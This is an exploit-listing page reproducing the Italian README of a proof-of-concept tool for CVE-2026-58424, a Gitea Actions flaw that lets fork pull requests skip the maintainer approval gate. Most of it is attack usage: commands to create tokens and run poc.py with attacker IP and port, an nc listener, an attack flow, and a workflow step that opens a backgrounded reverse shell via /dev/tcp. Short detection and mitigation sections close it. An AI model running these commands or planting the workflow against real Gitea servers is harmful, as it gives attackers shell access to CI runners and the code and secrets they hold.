Sploitus

Exploit for CVE-2026-58424

kitploit · 2026-08-28

Exploit Code

MARKDOWN239 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BRIDGERALDERSON-CVE-2026-58424
# CVE-2026-58424 - Bypass del gate di approvazione del workflow delle PR di fork in Gitea

> **Gravità:** Alta (CVSS 8.9) **Versioni interessate:** Gitea ≤ 1.26.2 **Corretto in:** Gitea 1.26.3 **Avviso:** GHSA-777r-4v59-6486

* * *

## Descrizione della vulnerabilità

Gitea Actions applica un gate di approvazione alle esecuzioni di workflow attivate da pull request di fork. Il gate è implementato in `ifNeedApproval()` e ha lo scopo di impedire a contributori non fidati di eseguire codice arbitrario tramite le pipeline CI.

Il difetto è che `ifNeedApproval()` viene applicato correttamente solo all'evento `pull_request`. Ogni tipo di evento elencato nel blocco `on:` di un workflow produce un oggetto `ActionRun` indipendente con il proprio controllo di approvazione. Quando un attaccante amplia il blocco `on:` per includere eventi come `pull_request_review`, `issue_comment` o `pull_request_review_comment`, queste esecuzioni vengono avviate senza passare attraverso il gate di approvazione.

L'attivazione di uno qualsiasi di questi eventi non protetti - ad esempio, pubblicare un commento di review su una PR - avvia immediatamente il workflow con l'account di servizio del runner, senza richiedere l'approvazione di un maintainer.

* * *

## Causa principale

La funzione `ifNeedApproval()` verifica l'approvazione in base a `(repo_id, trigger_user_id)` per l'evento `pull_request`, ma non applica questo controllo in modo coerente a tutti i tipi di evento attivabili.

**Percorso vulnerabile:**

root@kitploit:~
    
    
    POST /repos/{owner}/{repo}/pulls/{index}/reviews
      -> Gitea creates ActionRun with event=pull_request_review
      -> ifNeedApproval() not called for this event type
      -> Job dispatched to runner immediately
    

* * *

## Requisiti

Requisito| Dettaglio  
---|---  
Account Gitea| Qualsiasi utente autenticato con permesso di fork  
Repository target| Gitea Actions deve essere abilitato  
Runner| `act_runner` deve essere online e registrato  
Rete  
  
* * *

## Utilizzo del PoC

### Installazione

root@kitploit:~
    
    
    # Minimum
    pip install requests
    
    # For Kerberos/Negotiate auth
    pip install requests requests-gssapi
    

### Modalità di autenticazione 1 - Token API

**Tramite browser:** `Settings -> Applications -> Generate Token` Scope necessari: scrittura repository + scrittura issue.

**Tramite API:**

root@kitploit:~
    
    
    curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
      -u "<username>:<password>" \
      -H "Content-Type: application/json" \
      -d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
    

**Esecuzione:**

root@kitploit:~
    
    
    python3 poc.py \
      --url http://gitea.example.com:3000 \
      --token <token> \
      --target-owner <owner> \
      --target-repo <repo> \
      --lhost <attacker-ip> \
      --lport 4444
    

### Modalità di autenticazione 2 - Kerberos/Negotiate

Per istanze Gitea che accettano esclusivamente Kerberos/SPNEGO (ambienti Active Directory con SSPI obbligatorio). Deve essere eseguito da un host aggiunto al dominio con un TGT valido.

root@kitploit:~
    
    
    kinit some-email@example.com
    klist
    
    python3 poc.py \
      --url http://gitea.corp.local:3000 \
      --negotiate \
      --target-owner <owner> \
      --target-repo <repo> \
      --lhost <attacker-ip> \
      --lport 4444
    

Se la risoluzione DNS fallisce, configura `/etc/krb5.conf`:

root@kitploit:~
    
    
    [libdefaults]
        default_realm = DOMAIN.LOCAL
        dns_lookup_realm = false
        dns_lookup_kdc = true
        rdns = false
    
    [realms]
        DOMAIN.LOCAL = {
            kdc = <DC_IP>
            admin_server = <DC_IP>
        }
    
    [domain_realm]
        .domain.local = DOMAIN.LOCAL
        domain.local = DOMAIN.LOCAL
    

### Tutte le opzioni

root@kitploit:~
    
    
    --url               Gitea base URL (required)
    --token             API token
    --negotiate         Kerberos/SPNEGO auth (kinit first)
    --cookie            Session cookie string
    
    --target-owner      Target repo owner (required)
    --target-repo       Target repo name (required)
    --lhost             Attacker IP for reverse shell (required)
    --lport             Attacker port (required)
    
    --runner-label      Runner label to target (default: tries common labels)
    --detect-label      Auto-enumerate runner labels before exploiting
    --fork-name         Custom fork name (default: <repo>-<random>)
    --workflow-name     Custom workflow filename (default: ci-<random>.yml)
    --pr-title          Custom PR title (default: random realistic string)
    --review-body       Custom review comment (default: random)
    --payload-type      bash / python3 / nc / custom (default: bash)
    --custom-payload    Shell command (use with --payload-type custom)
    --no-cleanup        Leave PR open after exploit
    --cleanup-delay     Seconds before cleanup (default: 30)
    

### Listener

root@kitploit:~
    
    
    nc -lvnp 4444
    

* * *

## Flusso dell'attacco

root@kitploit:~
    
    
    1. Authenticate to Gitea API
    2. Fork target repo into attacker namespace
    3. Enable Actions on fork
    4. Inject malicious workflow with bypass events in on: block
    5. Remove inherited workflows from fork (prevents runner interference)
    6. Open PR: attacker/fork:main -> target/repo:main
    7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
       -> pull_request_review event fires
       -> ifNeedApproval() NOT called
       -> ActionRun dispatched immediately
    8. Runner executes payload -> reverse shell as runner service account
    

* * *

## Nota sul ciclo di vita del runner

Per impostazione predefinita, `act_runner` è single-worker. Se lo step della reverse shell non termina in modo pulito, il runner rimane nello stato "running" e ignora nuovi job.

Per evitare questo problema, porta la shell in background:

root@kitploit:~
    
    
    - name: run
      run: |
        setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
        sleep 1
        exit 0
    

Oppure usa `--custom-payload` per passare direttamente un one-liner daemonizzato.

* * *

## Rilevamento

  * Voci `ActionRun` con `event=pull_request_review` o `event=issue_comment` provenienti da PR di fork
  * File di workflow nei repository fork contenenti trigger `pull_request_review` con step di esecuzione di shell
  * Connessioni in uscita inattese dall'host del runner dopo attività di review su PR



* * *

## Mitigazione

Azione| Dettaglio  
---|---  
Aggiornamento| Gitea 1.26.3+ corregge questo problema  
Soluzione alternativa| Disabilitare Gitea Actions sui repository con contributori non fidati  
Audit| Esaminare le PR di fork e le relative esecuzioni di workflow per esecuzioni inattese  
Limitazione| Limitare i permessi di fork agli utenti fidati  
  
* * *

## Riferimenti

  * GHSA-777r-4v59-6486
  * NVD - CVE-2026-58424



* * *

## Disclaimer

Solo per test di sicurezza e ricerca autorizzati. Non utilizzare contro sistemi senza esplicita autorizzazione scritta.